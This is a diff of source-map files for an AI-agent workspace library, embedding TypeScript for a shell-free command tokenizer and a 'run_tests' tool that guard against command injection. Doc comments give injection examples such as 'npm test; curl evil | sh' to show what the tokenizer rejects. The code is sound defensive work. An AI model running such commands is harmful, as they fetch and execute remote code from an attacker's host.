SAAS,YAAY,cAAsB,WAA8B;CACvE,OAAO,UAAU,MAAM,SAAS;EAC9B,IAAI,aAAa,IAAI,CAAC,CAAC,KAAK,YAAY,GACtC,OAAO;EAKT,IAAI,CAAC,KAAK,SAAS,GAAG,KAAK,CAAC,KAAK,SAAS,GAAG,GAAG;GAC9C,MAAM,SAAS,KAAK,SAAS,GAAG,IAAI,OAAO,GAAG,KAAK;GAEnD,OAAO,aAAa,WAAW,MAAM;EACvC;EAEA,OAAO;CACT,CAAC;AACH;;;;;;;;;;;;;;;;;;;AAoBA,eAAsB,cACpB,QACA,WACuB;CACvB,MAAM,WAAW,MAAM,aAAa,OAAO,GAAG;CAI9C,MAAM,eAAe,MAAM,aAHT,KAAK,WAAW,SAAS,IACvC,YACA,KAAK,KAAK,OAAO,KAAK,SAAS,CACc;CAEjD,MAAM,YAAY,SAAS,cAAc,QAAQ;CACjD,MAAM,aAAa,OAAO,cAAc,CAAC;CACzC,IAAI,cAAc;CAElB,IAAI,CAAC,WACH;OAAK,MAAM,QAAQ,YAGjB,IAAI,SAAS,cAAc,MAFC,aAAa,IAAI,CAEL,GAAG;GACzC,cAAc;GAEd;EACF;CACF;CAGF,IAAI,CAAC,aAAa,CAAC,aACjB,MAAM,IAAI,qBACR,SAAS,UAAU,yCACnB;EAAE,MAAM;EAAe,MAAM;CAAU,CACzC;CAKF,MAAM,iBAAiB,YACnB,KAAK,SAAS,UAAU,YAAY,CAAC,CAAC,MAAM,KAAK,GAAG,CAAC,CAAC,KAAK,GAAG,IAC9D;CAEJ,IAAI,aAAa,OAAO,aAAa,OAAO,UAAU,SAAS,GAC7D;MAAI,YAAY,gBAAgB,OAAO,SAAS,GAC9C,MAAM,IAAI,qBACR,SAAS,UAAU,2CACnB;GAAE,MAAM;GAAe,MAAM;EAAU,CACzC;CACF;CAGF,OAAO;EAAE;EAAc,cAAc;CAAe;AACtD;;;;;;;AAQA,SAAS,mBAAmB,YAA4B;CAGtD,OAFa,KAAK,SAAS,UAEjB,CAAC,CAAC,QAAQ,yBAAyB,EAAE;AACjD;;;;;;;;;;;;;;;;;;;;;;;;;AA0BA,SAAgB,iBACd,QACA,SACS;CACT,MAAM,QAAQ,OAAO;CAGrB,IAAI,CAAC,OACH,OAAO;CAGT,MAAM,OAAO,gBAAgB,OAAO;CAEpC,IAAI,SAAS,MACX,OAAO;CAGT,MAAM,aAAa,mBAAmB,KAAK,EAAE;CAE7C,IAAI,eAAe,IACjB,OAAO;CAIT,IAAI,MAAM,QAAQ,MAAM,KAAK,SAAS,UAAU,GAC9C,OAAO;CAIT,IAAI,MAAM,SAAS,MAAM,MAAM,SAAS,GACtC,OAAO,MAAM,MAAM,SAAS,UAAU;CAIxC,OAAO;AACT;;;;;;;;;;;;;AAcA,SAAgB,SAAS,QAAiD;CACxE,MAAM,QAAQ,OAAO;CACrB,MAAM,MAA8B,CAAC;CAErC,IAAI,CAAC,OACH,OAAO;CAGT,KAAK,MAAM,OAAO,MAAM,cAAc,CAAC,GAAG;EACxC,MAAM,QAAQ,QAAQ,IAAI;EAE1B,IAAI,UAAU,QACZ,IAAI,OAAO;CAEf;CAEA,IAAI,MAAM,KACR,KAAK,MAAM,CAAC,KAAK,UAAU,OAAO,QAAQ,MAAM,GAAG,GACjD,IAAI,OAAO;CAIf,OAAO;AACT"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\
|
|
1
|
+
{"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\n \";\",\n \"&\",\n \"|\",\n \"<\",\n \">\",\n \"`\",\n \"$\",\n \"(\",\n \")\",\n]);\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command[index];\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return null;\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\" || UNQUOTED_METACHARACTERS.has(char)) {\n return null;\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? argv : null;\n}\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CACtC;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;AACF,CAAC;;;;;;;;;;;;;;;;;;;;;;AAuBD,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ;EAErB,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;GAGT,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,QAAQ,wBAAwB,IAAI,IAAI,GACpE,OAAO;EAGT,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI,OAAO;AAClC"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\
|
|
1
|
+
{"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n} from \"../contracts\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string without\n * double quotes or newlines — the pattern is forwarded to the runner as a\n * single double-quoted argument, and those characters would break out of\n * the quoting (i.e. inject extra arguments or commands). Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\n return {\n issues: [\n {\n message: \"pattern must not contain double quotes or newlines\",\n path: [\"pattern\"],\n },\n ],\n };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n};\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command as a single\n * quoted argument.\n */\n command?: string;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a **single quoted argument** — a path/suite filter the\n * tokenizer hands to the runner as one argv element (e.g.\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\n * data, never a second command. Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\n input: runTestsInputSchema,\n execute: (input) => {\n // The pattern rides as ONE double-quoted token (quotes/newlines are\n // rejected by the schema), so it reaches the runner as a single argv\n // element and can never smuggle in additional commands or arguments.\n const command = input.pattern ? `${baseCommand} \"${input.pattern}\"` : baseCommand;\n\n return ops.exec(command);\n },\n });\n}\n"],"mappings":";;;;AASA,MAAM,8BAA8B;;AAGpC,MAAM,uBAAuB;;;;;;;;;;AAW7B,MAAM,sBAAuD,EAC3D,aAAa;CACX,SAAS;CACT,QAAQ;CACR,WAAW,UAAU;EAGnB,IAAI,UAAU,UAAa,UAAU,MACnC,OAAO,EAAE,OAAO,CAAC,EAAE;EAGrB,IAAI,OAAO,UAAU,UACnB,OAAO,EAAE,QAAQ,CAAC,EAAE,SAAS,qBAAqB,CAAC,EAAE;EAGvD,MAAM,YAAY;EAElB,IAAI,UAAU,YAAY,UAAa,OAAO,UAAU,YAAY,UAClE,OAAO,EAAE,QAAQ,CAAC;GAAE,SAAS;GAA4B,MAAM,CAAC,SAAS;EAAE,CAAC,EAAE;EAGhF,IAAI,OAAO,UAAU,YAAY,YAAY,UAAU,KAAK,UAAU,OAAO,GAC3E,OAAO,EACL,QAAQ,CACN;GACE,SAAS;GACT,MAAM,CAAC,SAAS;EAClB,CACF,EACF;EAGF,MAAM,SAAwB,CAAC;EAE/B,IAAI,UAAU,YAAY,QACxB,OAAO,UAAU,UAAU;EAG7B,OAAO,EAAE,OAAO,OAAO;CACzB;AACF,EACF;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,SAAgB,iBACd,KACA,SAC6C;CAC7C,MAAM,cAAc,SAAS,WAAW;CAExC,OAAO,KAAoC;EACzC,MAAM,SAAS,QAAQ;EACvB,aACE;EAGF,SAAS,UACP,MAAM,UAAU,2BAA2B,MAAM,QAAQ,KAAK;EAChE,OAAO;EACP,UAAU,UAAU;GAIlB,MAAM,UAAU,MAAM,UAAU,GAAG,YAAY,IAAI,MAAM,QAAQ,KAAK;GAEtE,OAAO,IAAI,KAAK,OAAO;EACzB;CACF,CAAC;AACH"}
|